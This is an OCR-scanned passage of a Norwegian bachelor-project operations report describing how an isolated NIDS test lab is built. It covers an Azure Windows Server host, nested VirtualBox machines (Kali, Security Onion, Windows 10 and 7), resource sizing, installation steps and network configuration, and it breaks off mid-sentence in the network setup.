sikkerhetssystem som detekterer og reagerer
pa trusler som oppdages pa et endepunkt og
miljget rundt. Teknologien fungerer som et
EDR med utvidet funksjonalitet.
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1. Introduksjon — hensikten med

dokumentet

Denne driftsrapporten er skrevet i forbindelse med et bachelorprosjekt, og er utarbeidet av
Adrian Gilberg og Erlend Saugstad i samarbeid med bedriften Sopra Steria.

Rapporten er det tredje formelle dokumentet i en serie av fire dokumenter som falger
bacheloroppgavens gang, og bygger pa en forstudierapport og en designrapport utarbeidet pa

et tidligere tidspunkt.

1.1 Hensikten med driftsrapporten

Det er gnskelig & se nzermere pa hvilke «trade-offs» en SOC gjar ved a tilby
sikkerhetstjenester for deteksjon og visibilitet tilknyttet sikkerhetsmonitorering uten a basere
seg pa NIDS-teknologi som en sentral teknologi. Sopra Steria gnsker empiri pa dette for a
kunne ta velinformerte valg rundt videre utvikling av sin verktgykasse. Derfor vil vi
konstruere et testmiljg som baserer seg pa NIDS-teknologi, og dokumentere og diskutere

resultatene vare fra arbeidet gjennom denne rapporten.

Ellers vil driftsrapporten ogsa fungere som en «Proof of Concept», eller POC, som
demonstrerer teknologiene og programvaren som vi har tatt i bruk sin gjennomfgrbarhet.
Derfor er det i stor grad lagt vekt pa & dokumentere arbeidet vi har gjort i testmiljget grundig i

dette dokumentet, slik at vi sgrger for at arbeidet vi har gjort ogsa blir reproduserbart.

1.2 Innholdet i driftsrapporten

Videre i denne rapporten, skal vi i punkt 2 se nzrmere pa hvordan oppsettet av testmiljget er,
bade i ferste og andre virtualiseringslag. Deretter vil vi i punkt 3 se pa konfigurasjonen i
testmiljget, kategorisert pa de ulike lagene av virtualisering. Dette gjelder bade konfigurasjon
av operativsystemene, programvarer og tjenester. Videre vil det bli presentert en
gjennomgang av funksjonaliteten i testmiljget i punkt 4, hvor det ogsa gjennomgas noen

eksempler.
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Deretter vil vi i punkt 5 ga inn pa de ulike forsgkene som prosjektgruppen har foretatt i lgpet
av prosjektperioden. Her vil vi se pa hvordan disse er planlagt og gjennomfart, i tillegg til at
vi vil gjennomfare en evaluering av dem. | punkt 6 vil en drgfting av oppgaven finne sted,
knyttet til resultater og forsgk, i tillegg til andre ting som har veert av hagy relevans for

arbeidet. Helt til slutt finnes kildehenvisningen.

1.3 Versjoner av operativsystemer/programvare

Operativsystemene og den mest sentrale programvaren vi har benyttet oss av i arbeidet med

testmiljoet presenteres i tabellen under sammen med de respektive versjonsnumrene.

Operativsystemer Versjon
Windows Server 2019 Datacenter 1809
Windows 10 20H2
Windows 7 Ultimate V6.1, SP1
Kali Linux 2021.1
Security Onion 2.3.30
Programvare Versjon
VirtualBox 6.1.18
Suricata 6.0.1

Zeek 3.0.13
Wireshark 3.44
Nessus 8.14
Metasploit 6.0.38-dev
Nmap 7.91
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2. Oppsett av testmiljo

En stor del av arbeidet i dette prosjektet hviler pa a bygge et testmiljg for 4 fa praktisk
erfaring med et kneppe teknologier, og utfare tester i dette miljget for a blant annet undersake
hva som kan fas av innsikt ved bruk av teknologiene. Laben som bygges i forbindelse med
dette prosjektet, vil ogsa fungere som et “Proof of Concept”, og skal pa bakgrunnen av
dokumentasjonen her veere reproduserbar. Videre i dette segmentet vil oppsettet av
testmiljget dokumenteres. Dette innebarer den overordnede arkitekturen, hvilke valg som har
blitt gjort underveis, og en konsis beskrivelse av hvordan implementeringen og installasjoner
er blitt utfart.

2.1 Farste virtualiseringslag (Azure/Windows Server)

| designrapporten ble det lagt frem en systemarkitektur bestaende av to ulike lag av
virtualisering. Videre her skal vi ga inn pa det farste virtualiseringslaget som bygger pa et
skymiljg i Azure, som igjen hele det resterende systemet videre vil hvile pa. Her blir
oppbyggingen av dette, i tillegg til ressursallokering, installasjon av Windows Server 2019,

diverse forberedelser, og aktivering av ngstet virtualisering presentert.

2.1.1 Oppbygging av farste virtualiseringslag

Det farste som blir gjort i forbindelse med a bygge testlaben, er a sette opp en vertsmaskin i
skymiljget til Azure. Denne maskinen skal videre veere vert for alle andre maskiner i laben.
Dermed er det viktig at denne er stabil, tilgjengelig og har tilstrekkelig med ressurser, for &
unnga at det blir en flaskehals eller en kilde til andre problemer for de gvrige maskinene.
Azure som tjeneste har blitt valgt pa bakgrunn av blant annet god oppetid og palitelighet,
“snapshots” kan tas pa en effektiv mate, 1 tillegg til at det er noe vi har erfaring med og god

kjennskap til fra tidligere i studiet.

Operativsystemet vi har valgt a benytte for denne vertsmaskinen, er Windows Server 2019.
Dette valget har blitt tatt pa bakgrunn av at det er et operativsystem vi har erfaring med a
bruke fra tidligere, og noe vi vet kommer til & fungere til dette formalet, i tillegg til at det har
statte for flere innloggede brukere samtidig. Dermed kan begge to i prosjektgruppen utfare
arbeid i parallell, der hvor det er hensiktsmessig. | tillegg er det kun Windows OS som statter

ngstet virtualisering gjennom Azure (VirtualBox avhenger av ngstet virtualisering), og
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dermed matte vi se bort fra alle Linux-baserte lgsninger. Tilkoblingen til vertsmaskinen, for &

utfare arbeid, blir gjort gjennom RDP.

Under designfasen for prosjektet, hvor hele arkitekturen for infrastrukturen til testlaben ble
planlagt, ble det reflektert over og gjort estimater rundt hvordan maskinene skulle bygges. En
viktig fordel med a benytte en plattform som Azure, er fleksibiliteten det tilbyr ved at man
blant annet kan gjgre justeringer pa ressurser underveis. Dette er ogsa tilfellet ved
VirtualBox, som vi skal ga mer i dybden pa senere i dette dokumentet. Denne egenskapen
muliggjer det a jobbe iterativt med ressursallokering, og reduserer i stor grad faren for &
matte gjgre mye av det grunnleggende arbeidet flere ganger. Dermed trenger man heller ikke
a konfigurere maskiner med ungdvendig mye ressurser, kun for a veere pa den sikre siden,

noe som er svert hensiktsmessig med tanke pa bade det skonomiske og tidsmessige aspektet.

2.1.2 Allokering av ressurser

Det a ha reservert tilstrekkelig med maskinvare til testmiljget var helt sentralt da vi skulle
velge ressurser til Windows Server-maskinen i Azure. Vi gnsket oss tilstrekkelig med
programvare slik at maskinvaren ikke skulle fungere som en flaskehals for testmiljgets ytelse.
Samtidig sa vi at maskinvare var dyrt i Azure, og vi matte da vare bevisste og heller ikke
allokere uforholdsmessig mye ressurser i forhold til det vi absolutt trengte. I arbeidet med
designrapporten hadde vi utarbeidet en prediksjon om at vi skulle allokere 64 GB RAM til
testmiljget, men dette var bare et overslag basert pa kunnskapen vi satt med da. Vi hadde ikke

gjort konkrete prediksjoner om andre ressurskrav enn dette.

| prosessen med & velge ressurser i Azure tok vi utgangspunkt i de forskjellige minstekravene
for & kjare de respektive operativsystemene. Oversikten over disse kravene er presentert i

tabellen under, og er hentet fra de respektive operativsystemenes hjemmesider:

Krav til RAM Lagring CPU-Kjerner
maskinvare

Security Onion 16 GB 200 GB 4 kjerner
Kali Linux 2GB 20 GB 1 kjerne
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Windows 10 2GB 20 GB 1 kjerne
Windows Server 2GB 32 GB 1 kjerne
2019

Sum: 22 GB 272 GB 8 kjerner

Tankegangen var var at dette var et godt utgangspunkt for ressursallokering. Samtidig er det
bare nettopp dette, et utgangspunkt, og vi valgte derfor & ha en liten sikkerhetsmargin i
ressursene Vi allokerte. Vi trengte ogsa en del mer lagringsplass enn det disse minstekravene
til operativsystemet krevde, blant annet ettersom vi hadde planer om a ta hyppige
“Snapshots” i VirtualBox, og fordi vi visste at PCAP-filer fort kunne ta mye plass. I tillegg til
dette hadde vi i bakhodet at det fort kunne bli aktuelt & produsere flere virtuelle maskiner

(blant annet en maskin som kunne kjgrt EDR).

Ellers var en viktig forutsetning for valg av maskinvare, at det matte ha stette for a aktivere
Hyper-V i BIOS. Arsaken til dette er at dette er et essensielt fundament for & muliggjere
ngstet virtualisering gjennom Azure, som igjen hele arkitekturen var hviler pa. Dette er for
gvrig ikke en tilstedeveerende mulighet i alle maskinvare-konfigurasjoner (VM “Sizes”) i
Azure (kun dv3 og ev3-seriene i Azure muliggjer ngstet virtualisering), og vi valgte dermed

den sammensetningen som la naermest vare estimater for ressurskrav.

P& bakgrunn av dette endte vi opp med folgende “VM Size” i Azure, som hadde 64 GB
RAM, 8 vCPU-er, og 128 GB lagring.

VM Size Ty Family Ty vCPUs Ty RAM (GiB) T Data disks T4 Max IOPS T Temp storage (GiB) T
N E-Series v3 The 3rd generation E family sizes for your high memory needs
E8s_v3 Memory optimized 8 64 16 12800 128
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| tillegg til dette la vi ogsa til en egen disk pa 256 GB, og en disk pa 128 GB. Vi endte
dermed opp med a ha falgende disker i Azure (med en total stgrrelse pa 511 GB):

LUN @ Disk name Storage type Size {GiB)

0 Testlab_DataDisk_0 Premium SSD LRS 128

2 Testlab_DataDisk_2 Premium SSD LRS 256

Disk name Storage type Size (GIB)
Testlab_OsDisk_1_b62cae081420453  Premium 55D L. 127

Vi fant raskt ut at prosessorkraften vi hadde allokert ikke var tilstrekkelig, da det gikk veldig
tregt etter at vi hadde nar vi allokerte den tenkte mengden ressurser til den ferste virtuelle
maskinen. Derfor endte vi opp med a doble antall virtuelle CPU-er fra 8 til 16, og endte opp
med felgende VM Size:

VM Size Ty Family T, vCPUs T,  RAM (GiB) T, Data disks Ty Max IOPS T Temp storage (GiB) T
" D-Series v3 The 3rd generation D family sizes for your general purpose needs
D16s_v3 General purpose 16 o4 32 25600 128

Maskinene i testlaben endte dermed opp med falgende spesifikasjoner:

Faktisk bruk av RAM Lagring CPU-Kjerner
maskinvare

Security Onion 32GB 256 GB 8 kjerner
Kali Linux 16 GB 40 GB 4 kjerner
Windows 10 4GB 30GB 2 kjerner
Windows Server 12 GB 175 GB 2 kjerner
2019

Sum: 64 GB 511 GB 16 kjerner
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Den overflgdige lagringsplassen i Windows Server kan vi pa et senere tidspunkt allokere dit

det trengs (fortrinnsvis til Security Onion-maskinen, da lagring av loggfiler fort tar veldig

mye plass). Bildene under viser ngkkelinformasjonen til Azure-maskinen, tatt fra portalen til

Microsoft Azure.
B virtual machine u Size
Computer name Testlab .
Size Standard D16s v3
Operating system Windows (Windows Server 2019 Datacenter)
Publisher MicrosoftWindowsServer vCPUs 16
Offer WindowsServer RAM 64 GIiB
Plan 2019-Datacenter
VM generation vi R
€ Disk
Agent status Ready =
Agent version 27414911008 05 disk Testlab_OsDisk_1_b62cae0814e0453b849b680f361a788¢c
Host group None Azure disk encryption Not enabled
Host - P
Ephemeral OS disk N/A
Proximity placement group
Colocation status N/A Data disks 2

2.1.3 Installasjon av Windows Server

Selve installasjonsprosessen vi kjarte i forbindelse med opprettelsen av Windows Server-

maskinen var en ganske enkel prosess. Vi benyttet oss av Azure sin skyportal, og opprettet en

Azure VM. Bildet under er hentet fra denne prosessen:

Instance details

Virtual machine name * () ‘ Testlab \/|

Region* (O ‘ (Europe) North Europe ~ |

Availability options (@) ‘ Mo infrastructure redundancy required o |

Image* O ‘ ﬂ Windows Server 2019 Datacenter - Gen1 ~ |
See all images

Azure Spot instance (O D

Size* @ ‘ Standard_E8s_v3 - 8 vcpus, 64 GIiB memory (NOK 5,353.24/month) ~
See all sizes

Administrator account

Username * @ ‘ Labadmin " |

Password * (O ‘ sresssssenssansrtenrranstarasenne \/|

Confirm password * © [ ———— ]

Utover de to diskene vi la til (beskrevet i forrige punkt), valget av Azure “Size” (Standard

D16 v3), og at vi aktiverte “auto-shutdown” (for & spare kostnader dersom vi kom til &

glemme a skru av maskinen), gjorde vi ingen endringer fra standardkonfigurasjonen i Azure
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sin installasjonsveiledning. Ved opprettelse av en Windows VM i Azure trenger man ikke
gjennomfare selve installasjonen av operativsystemet, da Azure sgrger for dette pa egenhand.
VVM-en er dermed klar til tilkobling over RDP umiddelbart etter at opprettelse prosessen i

Azure er ferdig.

2.1.4 Forberedelser

Far de virtuelle maskinene ble bygget, ble det gjort noen enkle forberedelser for a sarge for at
dette ble gjort pa en god og oversiktlig mate. Dette gikk ut pa a farst og fremst opprette en
ryddig mappestruktur for a separere de ulike maskinene fra hverandre. Hver enkelt maskin
ble dermed tildelt hver sine respektive mapper, hvor alle maskinfiler ble lagret.

Videre sgrget vi for a tilegne oss riktige 1SO-filer for installasjon til hver enkelt
operativsystem, med riktig versjon slik at de 1a klare. VirtualBox ble ogsa lastet ned, og
dermed var alt klart for at vi kunne starte a installere de respektive virtuelle maskinene som

etter hvert skulle utgjere testmiljget.

%9 Oracle VM VirtualBox Manager - (=] X

File Machine Help

Iv

Al ©° AR Gae

Preferences  Import Export New  Add
Welcome to VirtualBox!

The left part of application window contains global 60
tools and ksts all virtual machines and virtual

machine groups on your computer. You can import,
add and create new VMs using corresponding
toobar buttons. You can popup a tools of currently
selected element using corresponding element
button,

You can press the F1 key to get instant help, or visit
www. virtualbox.org for more information and latest
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2.1.5 Aktivering av ngstet virtualisering

Oppsettet av det farste virtualiseringslaget var ikke helt ferdig enda. For selv om
maskinvareoppsettet vi valgte muliggjorde ngstet virtualisering pa Window Server 2019-
maskinen, sa er dette noe som ikke er aktivert som standard. Vi matte derfor legge til dette
som rolle i Windows for a senere kunne benytte oss av VirtualBox og videre bygge

testmiljget vart. Maten vi gjorde dette pa var a kjare dette scriptet i Powershell:

“Install-WindowsFeature -Name Hyper-V -ComputerName Testlab -

IncludeManagementTools -Restart*

Etter at maskinen startet opp pa nytt, kunne vi fa bekreftet at rollen er lagt til ved a kjare

kommandoen “Get-WindowsFeature -Name Hyper-V -ComputerName Testlab*:

PS C:\Users\Labadmin> Get-WindowsFeature Testlab

Display Name Name Install State

[ 1 Hyper-v Hyper-v Available

Vi kan her se pa bildet over at Hyper-V (Microsofts hypervisor for a opprette VMer) er
tilgjengelig. Dette skyldes at Hyper-V som VirtualBox er av hengig av at ngstet
virtualisering er aktivert for a fungere. Vi far pa denne maten bekreftet at ngstet virtualisering

er aktivert.

2.2 Andre virtualiseringslag (VirtualBox)

Maskinen i Azure-miljget som kjgrer Windows Server 2019, blir benyttet som en
vertsmaskin for det neste virtualiseringslaget. Etter  ha konfigurert maskinen til a statte
ngstet virtualisering, benytter vi oss av programvaren VirtualBox, for & opprette nye maskiner
videre inn i testlab-miljget. VirtualBox gjar det enkelt & administrere maskinene, fordele

ressurser, konfigurere nettverk, og ta snapshots av maskinstatus underveis i arbeidet.

| punktene 2.2.1 til 2.2.4 vil installasjonen av de forskjellige operativsystemene som utgjer
testmiljget gjennomgas. | utgangspunktet velges standardkonfigurasjonen i

installasjonsveilederene, men dersom dette ikke er tilfellet vil kommenteres narmere,
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eventuelt sammen med en skjermdump. Ellers er installasjonen av de forskjellige VM-ene er
todelt. Farst opprettes maskinene i VirtualBox med riktige spesifikasjoner, fer vi sa skrur de
pa og installerer operativsystemene. Ettersom den farste delen, installasjonen i VirtualBox, er
tilneermet lik for de forskjellige maskinene (utenom spesifikasjonene), gas denne igjennom i

noe serlig detalj kun en gang, og da for Kali Linux.

Ellers er det noe a legge merke til at det ogsa installeres en Windows 7-maskin, noe som
avviker fra designrapporten. Dette skyldes at vi underveis i arbeidet med testmiljget fant ut at
det ogsa var hensiktsmessig a ha med enda en maskin i nettverket for & gjennomfare forsgk.
Det var ogsa hensiktsmessig at dette var en maskin uten de siste sikkerhetsoppdateringene

(noe Windows 7 ikke har), slik at det var flere potensielle svakheter a utnytte.

2.2.1 Installasjon av Kali Linux

Installasjonen av Kali Linux starter ved at vi gar inn i VirtualBox “Oracle VM VirtualBox
Manager”. Herfra oppretter vi en ny VM. Ferst ma vi velge navn, en mappe hvor
maskinfilene skal lagres, i tillegg til hvilken type og versjon for operativsystem som skal

opprettes. For Kali Linux har vi her valgt fglgende:

Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.
The name you choose will be used throughout VirtualBox to identify this
machine.

Name: ‘ Kali Linux ‘

Machine Folder: ‘ E:\VMer\Kali Linux e ‘

Type: Linux =

WVersion:  Linux 2.6 / 3.x / 4.x (64-bit) -

Expert Mode Next Cancel

Videre ma vi bestemme hvor mye RAM vi skal allokere til maskinen, samt hvor mye
lagringsplass vi skal tildele harddisken. Vi velger her 16 GB ram og vi oppretter en VDI-disk
med 40 GB lagring. Vi velger “fixed size” fremfor “dynamically allocated”, pga. bedre
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ytelse, da vi er rimelig sikre pa at det skal veere tilstrekkelig med lagringsplass for dette

formélet.

Etter at vi har gjort dette oppretter VirtualBox VM-en. Dette kan ta litt tid, serlig hvis man
har valgt “dynamically allocated” disk.

Etter at VM-en er opprettet gar vi inn pa innstillinger for maskinen i VirtualBox, og velger
ISO-fil for installasjon under “Storage”. Ved farste oppstart vil maskinen starte opp med

utgangspunkt i denne disken:

£ Kali - Settings
- General Storage
B | System Storage Devices
[ . N Controller: IDE
- Display ’
— (2) kali-linux-2021.1-installer-amdé4.iso
M Storage
@ Controller: SATA
(:/‘J Audio 2] Kalivdi

Videre velger vi antall virtuelle prosessorer for maskinen. Her har vi valgt 4, i henhold til det

vi planla i forbindelse med allokering av ressurser:

g Kali - Settings

B Genenal System

& System Motherboard Processor Acceleration
- Display Processor(s): '
- 1 CPU

\ 2| Storage

\L‘ 9 Execution Cap:

‘ 1%
(/J Audio

Extended Features: |:| Enable PAE/NX

Maskinen er na klar til & startes opp. Etter oppstart kommer vi til en installasjonsmeny. Her
velger vi a fglge grafisk installasjon. Videre tas det en serie med valg for & konfigurere
maskinen, slik som blant annet vertsnavn, brukernavn, passord og sprak. Dette er ikke
kritiske valg som vil pavirke reproduserbarheten for oppsettet av testmiljget, og vi gar

dermed ikke i dybden pa denne konfigurasjonen her. Vi skal se nermere pa
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nettverkskonfigurasjon senere, som er av stgrre viktighet for funksjonaliteten i en kontekst

som dette.

2.2.2 Installasjon av Security Onion

Installasjonen av Security Onion starter med at vi ferst velger hvor maskinfilene skal lagres,
og hvilken type og versjon for operativsystem som skal installeres. Mappen vi har valgt for
Security Onion ligger pa en egen disk (disken med 256 GB lagring), da det er denne
maskinen som krever mest med tanke pa lagringsplass. Bildet under viser de innledende

valgene til Security Onion-maskinen.

Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.
The name you choose will be used throughout VirtualBox to identify this
machine.

Name: ‘ Security Onion ‘

Machine Folder: ‘ G:\Security Onion e ‘

Type: Linux -

Version:  Ubuntu (64-bit) -

Expert Mode Next Cancel

Videre allokerer vi til Security Onion-maskinen 32 GB med RAM, samt 220 GB med “fixed
size” lagring som VDI-disk.

Som under installasjonen av Kali, velger vi ogsa her antall virtuelle prosessorer under
installasjonen. For Security Onion har vi valgt 8 virtuelle CPU-er. Vi velger ogsa ISO-filen

for Security Onions installasjon, og starter opp maskinen med utgangspunkt i denne farste

gang.

For installasjonen av Security Onion, er det viktig at vi farst konfigurerer nettverket pa en

spesiell mate for a lykkes. Denne maskinen skal ha to nettverksgrensesnitt, hvorav én skal
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veere i promiskugs modus. Vi ma derfor legge til en nettverksgrensesnittkontroller under
innstillingene til Security Onion VM-en i VirtualBox, hvor Adapter 2 er konfigurert med
“Allow All” under “Promiscuous Mode”. Nettverkskonfigurasjonen for Adapter 2 for denne
installasjonen ser ut som slik (nettverkskonfigurasjonen blir gjennomgatt i stgrre detalj i
punkt 2.2.4):

- General Network

B | System Adapter 1 Adapter 2 Adapter 3 Adapter 4
- Display Enable Network Adapter

(2] storage Attached to: Host-only Adapter -
o

o ] Name: VirtualBox Host-Only Ethernet Adapter
[( _/_J Audio

- 7 Advanced
" Network

— Adapter Type: Intel PRO/1000 MT Desktop (82540EM)
Q Serial Ports Promiscuous Mode:  Allow All
L7 usB MAC Address: | 080027840208

Shared Folders Cable Connected

— Port Forwarding

H User Interface

Maskinen er na klar for oppstart. Etter oppstart av maskinen kommer vi til et
brukergrensesnitt for installasjon. Her velger vi det gverste alternativet for en

kommandobasert versjon av Security Onion:

P; Security Onion [Running] - Oracle VM VirtualBox ~ — U X

File Machine View Input Devices Help

Security @nion

Security Onion 2.3.30

Install Security Onion 2.3.30
Install Security Onion 2.3.30 in basic graphics mode
Test this media & install Security Onion 2.3.30

Troubleshoot ing

©

Qeokas =i E cr (Hovre
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Installasjonen av Security Onion er todelt. Farst installeres kjernefunksjonalitet, fer den
faktiske installasjonen starter senere. Bildet under er et utklipp fra prosessen med

installasjonen av kjernefunksjonalitet.

Installing perl-Pod-Usage (115-443)
Installing perl-macros (116-443)
Installing perl-libs (117-443)
Installing perl-threads (118-443)
Installing perl-Storable (119-443)
Installing perl-Filter (128,443)
Installing perl-Exporter (1Z21-443)
Installing perl-Time-HiRes (1Z2Z2-443)
Installing perl-Time-Local (123-443)
Installing perl-constant (124-443)
Installing perl-threads-shared (125-443)
Installing perl-Scalar-List-Utils (126-443)
Installing perl-Carp (127-443)
Installing perl-File-Temp (128-443)
Installing perl-File-Path (129-443)
Installing perl-PathTools (1368-443)
Installing perl-Socket (131-443)
Installing perl-Pod-Simple (132-443)
Installing perl-Getopt-Long (133-443)
Installing perl (134-443)

Installing perl-Error (135-443)
Installing perl-TermReadKey (136.-443)
Installing keyutils-libs-devel (137-443)
Installing setools-libs (138-443)
Installing vim-minimal (139.443)
Installing acl (1468-443)

Installing fuse (141-443)

Installing libdb-utils (142-443)
Installing bc (143-443)

Installing pinentry (144.-443)
Installing libss (145-443)

Installing make (146-443)

Installing libpng (147-443)
Installing freetype (148-443)
Installing docker-ce-cli (149,443)

Videre etter & ha restartet maskinen, kommer vi til neste del av installasjonen. Her velger vi &
installere “Evaluation mode”. Dette er en god lgsning ettersom distribusjonen inneholder det
meste av funksjonalitet som er hensiktsmessig for oss som skal benytte distribusjonen til et
testmiljo. Skulle distribusjonen benyttes i produksjon, ville vi valgt “Standalone” her, og da
opplevd en noe mer krevende installasjon og tyngre operativsystem (mer ressurskrevende).
Dersom den eneste intensjonen med testmiljget er a analysere PCAP-er, ville man valgt

“Import”.

Security Onion Setup |
Choose install type:

EUAL Evaluation mode (not for production)
STANDALONE  Standalone production install
DISTRIBUTED Distributed install submenu

IMPORT Standalone to import PCAP or log files
OTHER Other install types

<0k> <Cancel>
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Videre i installasjonen far vi en forespgrsel om forholdene rundt installasjonen. Siden vi ikke
har tilgang til offentlig internett i vart miljo, velger vi her “Airgap”. Bruker man Security
Onion i produksjon er det sentralt at man har internett tilgjengelig. Grunnen til dette er at man
da er helt avhengig av jevnlige sikkerhetsoppdateringer for blant annet & fa oppdaterte regler

fra “Emerging Threats”.

I#I
Security Onion Setup |

1
Chooze your install conditions:

C ) STANDARD This manager has internet accesss
(=) AIRGAP This manager does mot have internet access

Det neste steget av interesse i installasjonsveilederen er der hvor vi blir spurt om hvilken
nettverksgrensesnittkontroller vi skal benytte til administrasjon. Den farste
nettverksadapteren, “enp0s3”, er den vi velger til & bruke til administrasjon av Security

Onion.

| HIC Setup H
Please select your management NIC:

(=) enpBs3 Link UP
C ) enpB=s8 Link UP

Videre velger vi a benytte statisk IP for denne maskinen:

| Security Onion Setup ————

Choose how to set up your management interface:

(=) STATIC Set a static IPwvl address
C ) DHCP Use DHCP to configure the Management Interface
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Vi setter deretter IP-adressen som det er tiltenkt at Security Onion-maskinen skal ha. Vi
velger derfor 10.0.0.2 i henhold til forstudierapporten, og pa neste steg bestemmer vi at

10.0.0.1 skal veere “Gateway”-en (Windows Server 2019-maskinen).

Installasjonen fortsetter ved at vi na skal velge nettverksgrensesnittkontrolleren som skal
snitte opp trafikken i nettverket. Her velger vi “enps08”, da det er dette til

nettverksgrensesnittet som konfigureres til promiskugs modus:
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Vi definerer sa hjemmenettverket (10.0.0.0/24). Dette vil ha mye a si for hvordan Suricata

produserer varsler, da dette vil bli en av de sentrale variablene som Suricata bruker

($Home_NET) i prosessen med a matche trafikk med signaturer.

| Security Onion Setup |
Enter your home network(s), separating CIDR blocks with a comma (,):

160.8.68.8..24

<0k> <Cancel>

Videre far vi et valg om hvilke komponenter vi skal installere. Her velger vi & installere alle

komponenter, bortsett fra “Wazuh”. Arsaken til dette er at det horer til HIDS, noe som er

utenfor bruksomradet vi gnsker a utforske i dette miljget.

Select Components to install:

GRAFANA  Enable Grafana for system monitor ing
OSHQUERY Enable Fleet with osquery

WAZUH Enable Wazuh

THEHIVE  Enable TheHive

PLAYBOOK Enable Playbook
STRELKA  Enable Strelka

| Security Onion Setup ———

Vi velger sa en e-postadresse og passord som skal brukes som administrator-konto til

brukergrensesnittet til Security Onion pa nettverket.
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| Security Onion Install |
Please enter an email address to create an administrator
account for the web interface:

This will also be used for TheHive, Cortex, and Fleet.

=oadminfbachelor .com

<0k> <Cancel >
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Videre bestemmer vi at vi skal bruke IP-adressen (10.0.0.2) for & koble oss pa
webgrensesnittet, da vi anser dette som enklest:

Security Onion Setup |

Choose the access method for the web interface:
NOTE: For security reasons, we use strict cookie enforcement

(=) IP Use IP to access the web interface
( ) HOSTNAME Use hostname to access the web interface

( ) OTHER Use a different name like a FQDN or Load Balancer

Etter dette startet installasjonen, noe som tok ganske lang tid. Tiden avhenger riktignok i stor
grad avhengig av ressursene som er allokert.

2.2.3 Installasjon av Windows 10

Installasjonen av Windows 10 starter med at vi velger navn, hvor vi skal lagre maskinfilene,
og hvilken type og versjon for operativsystemet:

Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.

The name you choose will be used throughout VirtualBox to identify this
machine.

Name: ‘ Windows ‘

Machine Folder: ‘ E:\VMer\Windows 10 e ‘
Type: Microsoft Windows - %'7‘
40

Version:  Windows 10 (64-bit) -

Expert Mode Next Cancel

Til Windows 10-maskinen velger vi 4 GB ram, 2 virtuelle prosessorkjerner, og vi oppretter
en VDI-disk med 30 GB lagring.

Ellers fglger vi samme fremgangsmate for installasjonen som vi gjorde med Kali og Security
Onion-maskinen, samt at vi fglger standardkonfigurasjon i installasjonsoppsettet til Windows

10. I motsetning til Linux-distribusjonene vi har installert krever Windows 10 i
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utgangspunktet en lisens. Dette er riktignok ikke ngdvendig for at Windows-maskinen skal

realisere rollen sin i testmiljget.

2.2.4 Installasjon av Windows 7

Installasjonen av Windows 7 starter med at vi velger navn, hvor vi skal lagre maskinfilene,

og hvilken type og versjon for operativsystemet:

Create Virtual Machine

Name and operating system

Please choose a descriptive name and destination folder for the new virtual
machine and select the type of operating system you intend to install on it.
The name you choose will be used throughout VirtualBox to identify this
machine.

MName: |'t“.n'indn'..\'s 7 |

Machine Folder: | E:WMeriWIn 7\Windows 7 V|
Type: |Microsoft Windows 7 %’.
&

Version: | Windows 7 (54-hit) 7

Expert Mode Cancel

Til Windows 7-maskinen velger vi 4 GB ram, 1 virtuell prosessorkjerne, og vi oppretter en
VDI-disk med 30 GB lagring. Ettersom vi i utgangspunktet ikke hadde allokert ressurser til
denne maskinen, ma vi ta ressursene fra andre maskiner. Vi velger da a ta ressurser fra

Windows Server 2019, da denne har mye til overs.

Ellers fglger vi samme fremgangsmate for installasjonen som vi gjorde med Kali, Security
Onion-maskinen og Windows 10-maskinen, samt at vi fglger standardkonfigurasjon i
installasjonsoppsettet til Windows 7. Det er heller ikke ngdvendig med en lisens for Windows

7-maskinen.
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2.2.5 Oppsett av nettverket

Hvordan nettverket konfigureres er sveert viktig og essensielt for hvordan testmiljget
fungerer. Maskinene skal vere tilkoblet pa et eget og isolert nett, og ikke ha mulighet til &
kommunisere med den ytre vertsmaskinen i Azure. Nettverkskonfigurasjonen gjgres bade fra
VirtualBox og i de respektive maskinenes egne nettverksinnstillinger. Videre her vil
fremgangsmaten for denne konfigurasjonen bli presentert for hver enkelt av maskinene, samt
det overordnede oppsettet i VirtualBox. Vi vil til slutt verifisere at nettverkskonfigurasjonen

fungerer som tiltenkt.

Nettverksoppsett i VirtualBox (Windows Server)

| VirtualBox kan man opprette en eller flere virtuelle adaptere som kan brukes for
tilkoblinger mellom verten og virtuelle maskiner. VVed tilkobling til en slik virtuell adapter
kan de virtuelle maskinene kommunisere seg imellom og med verten, men de kan ikke
kommunisere med maskiner utenfor nettverket. Bildet under viser oppsettet slik det ser ut i
“Host Network Manager” i VirtualBox (legg merke til at IPv4-adressen settes til 10.0.0.1 her,
ettersom Windows Server 2019-maskinen skal ha denne adressen).

fez]| Host Network Manager - O X

Network

e g ke

Create Remove Properties

~

Name IPv4 Address/Mask  IPvb Address/Mask  DHCP Server
VirtualBox Host-Only Ethernet Adapter 10.0.0.1/24 [ | Enable

Adapter DHCP Server

O Configure Adapter Automatically
(®) Configure Adapter Manually

IPv4 Address: ‘ 10.0.0.1 ‘

IPv4 Network Mask: ‘ 255.255.255.0 ‘

IPv6 Address: | fe80::fd3d:d347:c6a9:51af

IPv6 Prefix Length: | 64
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For & vise frem hvordan denne nettverkstilkoblingen fremstar pd Windows Server 2019-

maskinen, kan det vaere naturlig a sette det i sammenheng med nettverkstilkoblinger ellers. Vi

kjerer derfor en enkel “ipconfig”-kommando. Bildet under viser nettverksgrensesnittene som

tjeneren (Windows Server 2019) er koblet til. Vi kan da se en ordingr tilkobling som gir oss

internett (Ethernet-adapteren, med IP-adresse 10.0.0.2, nettverkskonfigurasjonen er delt ut fra

Azure). | tillegg til dette ser vi ogsa det virtuelle nettverksgrensesnittet til den virtuelle

adapteren i VirtualBox. Her kan vi legge merke til at det ikke er oppgitt en “Default

Gateway”, noe som indikerer at nettet til testmiljget er isolert fra internett.

Ethernet adapter Ethernet:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address
Subnet Mask
Default Gateway

: lemlfhgyjehu5i@2ay3zoyiqwt. 3
: fe80::2584:e33d:1abc:a569%36

: 10.0.8.5

: 255.255.255.0

: 18.0.0.1

Ethernet adapter VirtualBox Host-Only Network:

Connection-specific DNS Suffix
Link-local IPv6 Address

IPv4 Address
Subnet Mask
Default Gateway

Nettverksoppsett i Kali Linux

: Te80::fd3d:d347:c6a9:51af¥%6

: 10.0.8.1

: 255.255.255.0

Vi gar inn pa nettverksoppsettet til Kali Linux i VirtualBox, og kobler maskinen til riktig

